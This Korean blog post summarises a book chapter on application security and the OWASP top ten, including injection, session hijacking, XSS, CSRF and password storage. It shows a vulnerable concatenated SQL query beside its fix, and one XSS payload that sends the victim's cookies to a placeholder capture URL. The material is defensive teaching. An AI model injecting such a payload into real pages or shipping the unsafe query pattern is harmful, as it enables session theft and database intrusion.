Release 의 모든 것 (11장)
Release 의 모든 것 (11장) 의 내용 중, 인상적이었던 부분을 발췌 및 요약합니다.
보안
보안은 양념같은 부가 요소가 아니라, 처음부터 시스템의 핵심 요소로 취급되어야 한다.
OWASP 상위 10 개
애플리케이션 취약성 상위 10개 목록을 살펴보자.
삽입
삽입은 사용자가 입력한 내용에 의존하는 구문 분석기나 인터프리터에 대한 공격이다. SQL 삽입이 전형적인 공격이다. 하나의 SQL 문을 두 개 이상으로 바꾸는 것으로, Little Bobby Table 공격이라고 한다.
1
2
3
String query = "SELECT * FROM STUDENT WHERE NAME = '" + name + "';"
이런 코드는 보안에 취약하며 SQL 삽입의 대상이 될 수 있다.
1
2
3
4
5
String query = "SELECT * FROM STUDENT WHERE NAME = ?;"
PreparedStatement psmt = connection.getPreparedStatement(query);
psmt.setString(1, name);
대신 이렇게 사용하는 것으로 공격을 예방할 수 있다.
삽입 공격의 또 다른 일반적인 요인은 XML 이다. XML 문서는 문서 유형 선언에서 외부 엔티티를 지정할 수 있다.
취약한 인증과 세션 관리
FE 의 세션 ID 는 모든 스위치, 라우터, 프록시 서버뿐만 아니라 사람에게도 노출된다. 노출된 세션을 가로채는 것을 세션 하이재킹이라고 부른다.
평문으로 된 세션 ID 는 공격자가 가로채서 복제할 수 있으며, 세션 ID 를 획득한 공격자는 사용자의 세션을 제어할 수 있게 된다. 세션 ID 가 쿠키 안에 들어 있어도 똑같이 세션 하이재킹이 발생할 수 있다.
세션 하이재킹의 변형으로 세션 고정이 있다. 공격자는 보안 결함이 있는 어플리케이션에서 유효한 세션 ID 를 발급받는다. 그런 다음 자기 세션 ID 를 공격 대상자에게 전달한다.
피해자는 공격자의 세션 ID 를 통해서 응답을 받는데, 이는 공격자가 언제든지 가로챌 수 있다. 만약 세션 ID 의 생성이 예측 가능한 과정이라면, 서비스도 세션 예측 공격에 취약할 수 있다.
세션 ID 가 순차적으로 증가하는 방식이라면 최악일 것이다.
인증이란 서비스에 원격으로 접속한 상대방의 신원을 검증한다는 뜻이다. 다음은 인증과 관련되서 하지 말아야 할 일이다.
- 비밀번호를 데이터베이스에 보관해서는 안된다.
- 비밀번호 찾기 과정에서 사용자에게 이메일로 비밀번호를 보내서는 안된다.
- 비밀번호에 강력한 해시 알고리듬을 적용하라. 비밀번호에 솔트라고 부르는 임의의 데이터를 더해라(솔트란?)
- 사용자가 아주 긴 비밀번호를 입력할 수 있게 열어두어라
- 사용자가 GUI 에 비밀번호를 복사해서 붙여넣을 수 있도록 허용해라
- 언젠가 비밀번호를 다시 해싱할 계획을 세워라
- 공격자가 인증을 계속 시도할 수 없도록 해라
사이트 간 스크립팅
사이트 간 스크립팅(XSS)은 서비스가 입력된 값을 가공하지 않고 사용자의 입력을 그대로 HTML 내용으로 사용할 때 일어난다.
삽입 공격과 관련이 있는데, 구조화된 데이터를 일반 문자열로 표현한다는 점을 악용하여 종료 구분 기호에 이어 원치 않는 명령을 제공한다. 형식을 벗어난 HTML 을 만들고, 사이에 script 를 추가하는 것으로 원치 않는 작동을 실행시킬 수 있다.
예를 들면 이런 HTML 이 생성될 수 있다.
1
<input type='text' value=''> <script>document.location='http://www.example.com/capture?id='+ document.cookie</script>'' />
사용자의 쿠키를 공격자에게 전달해서, 공격자가 사용자의 세션을 가로챌 수 있게 된다. 개발자는 입력값을 절대 신뢰해서는 안된다. 서버로 들어오는 모든 데이터는 정제되어야 한다.
자바 개발자는 OWASP 의 자바 인코더 프로젝트를 사용해야 한다.
그리고 XSS 예방 지침을 읽어야 한다.
취약한 접근 제어
취약한 접근 제어는 공격자가 금지된 데이터에 접근하도록 허용하는 어플리케이션의 문제이다. 여기엔 다른 사용자의 데이터나 비밀번호 파일 같은 시스템 수준의 데이터도 포함된다.
접근 제어에 생기는 구멍의 흔한 형태로 직접 객체 접근 문제가 있다. 데이터베이스 ID 는 순차적으로 할당되기 때문에 공격자는 다른 데이터를 유추할 수 있을 것이다.
해결 방법은 2가지다.
공격자에게 흥미를 끌만한 값이 보이지 않도록 해라
- URL 에 데이터베이스 ID 를 사용하지 말자
- 세션 값으로 결정되는 일반화된 URL 을 사용하자
- 세션별로 무작위 ID 를 실제 ID 로 매핑하는 것이다.
허가된 접근만을 허용해라
직접 객체 접근 문제가 발생하는 근본적인 이유는 ‘URL 소유’와 ‘자원에 접근할 수 있음’을 혼동하기 때문이다.
자원이 접근이 승인된 측에만 전송해야 하는 경우라면 서비스가 모든 요청에 대해 권한이 있는지 확인해야 한다.
보안 구성 오류
admin/admin 으로 로그인하는 경우는 정말 흔하다. 기본 비밀번호를 사용하는 것은 심각한 문제다. 공격자는 제품의 기본 관리자 로그인을 사용해 침입한다.
관리자 콘솔은 공통적인 문제의 출처다. 관리자 콘솔을 색출하고 좋은 보안 정책을 적용해야 한다. 특히 어플리케이션이 포함된 이미지를 빌드한다면 컨테이너를 주의 깊게 살피자.
레디스, 몽고 DB, Postgresql 등과 같은 서버에는 자체 인증 메커니즘과 기본 관리자 비밀번호가 있다.
또 다른 일반적인 보안 구성 오류는 서버가 너무 광범위한 포트를 열고 수신 대기하는 것이다. 내부 트래픽을 공개된 외부 트래픽과 나누어 전용 NIC 로 분리하면 정보 보안을 개선할 수 있다.
민감 데이터 노출
신용카드, 의료 기록, 구매 데이터, 이메일 등이 OWASP 가 말하는 민감 데이터다.
- 필요 없는 민감 데이터는 저장하지 말라
- HSTS 를 사용해라. HTTPS 우선 정책보다 한 단계 더 높은 단계로, 클라이언트가 안전하지 않은 프로토콜로 협상하는 것을 막는다.
- SHA-1 을 사용하지 말라
- 비밀번호를 평문 그대로 저장하지 말라. 해시 알고리즘과 솔트 값을 사용하자
- 민감 데이터를 암호화해서 데이터베이스에 저장하라.
- 서버의 권한이 아닌 사용자의 권한에 따라 데이터를 복호화해라
부실한 공격 방어
방화벽으로 보호되더라도, 공격자는 방화벽 뒤의 다른 시스템에 제한 없이 접근할 수 있다고 항상 가정해야 한다. 서비스는 규칙에서 어긋나는 요청이 어디에서 오는지 추적하지 않는다. 또한 잘못된 요청을 지나치게 많이 보내는 호출자를 차단하지도 않는다.
API 게이트웨이는 유용한 방어수단이다. API 게이트웨이는 API 키로 호출하는 측을 차단하거나, 요청 속도를 억제할 수 있다. 이는 처리 가용량을 유지하는데 도움이 된다.
사이트 간 요청 위조(CSRF)
CSRF 공격은 다른 사이트에서 시작된다. 공격자는 우리 시스템으로 향하는 링크가 포함된 웹 페이지를 사용하고, 운 나쁜 사용자는 그 페이지로 우리 시스템에 접속한다.
시스템은 이를 사용자가 보낸 유효한 요청이라고 여기고, 세션 쿠키를 포함한 모든 통상의 쿠키를 전송한다. 비밀번호 변경, 메일 주소 수정, 구매 같은 부작용을 수반하는 요청에는 CSRF 방지 토큰을 사용해야 한다.
이 토큰은 사용자가 작성할 양식을 화면에 표시할 때 추가하는 필드로, 시스템에서 무작위로 생성한 데이터를 갖는다. 코드는 사용자가 양식을 작성해서 제출할 때 동일한 토큰이 반환될 것으로 기대한다.
취약점이 밝혀진 구성 요소 사용
애플리케이션을 최신 버전으로 유지하는 것이 중요하고, 모든 의존성 트리를 파악해야 한다. 빌드 도구를 사용해서 빌드에 포함된 모든 구성 요소에 관한 보고서를 추출하라.
보호되지 않는 API
API 가 잘못 쓰이지 않도록 하는 것이 중요하다.
- 일종의 격벽을 설치해서, 사용자의 자격 증명의 도난에 대비해라
- API 가 통신에 쓸 수 있는 가장 안전한 수단을 사용하도록 해라. 공개 API 인 경우에는 TLS 를 사용하고, CA 를 최신으로 유지해라.
- 데이터 구문 분석기를 사용하며 악의적인 입력에 대해 보안이 강화되어 있는지 확인해야 한다. 테스트 API 에서 위조된 입력값을 밀어넣어보라.
최소 권한의 원칙
프로세스는 자신의 작업을 수행하는 데 필요한 가장 낮은 수준의 권한을 가져야 한다. 루트나 관리자 계정으로 실행하는 것은 절대 포함되지 않는다. 루트로 실행되는 소프트웨어는 자동으로 공격 대상이 된다. 예를 들어, Apache 사용자는 Postgres 사용자에 대한 접근 권한이 없어야 한다.
컨테이너와 최소 권한
컨테이너는 서로를 일정 수준에서 잘 격리시킨다. 그러나 컨테이너 자체도 보안 관리가 되어야 한다.
비밀번호 관리
다른 시스템의 인증을 받는 데 필요한 데이터베이스 비밀번호와 자격 증명은 어딘가에 있는 영구 파일에 기록되어야 한다.
비밀번호가 텍스트 파일로 있다면 이는 매우 취약한 상태이다. 비밀번호는 달성 가능한 최고 수준의 보안으로 보호해야 한다. 비밀번호가 포함된 파일은 애플리케이션 사용자인 소유자만 읽을 수 있어야 한다.
비밀번호 볼트는 비밀번호가 보관된 암호화된 파일로, 여러 개의 텍스트 파일을 보호하는 대신 단일 암호화 키를 보호하여 보안 문제를 줄인다.
비밀번호 보관에는 AWS KMS 가 유용하다. KMS 를 사용하면 애플리케이션이 API 를 호출해서 복호화 키를 취득한다.
상시 업무 절차로서의 보안
프레임워크로는 상위 10개의 위협으로부터 사용자를 보호할 수 없다. 새로운 공격은 항상 생겨나고, 이를 방지할 수 있는 업무 절차가 있어야 한다.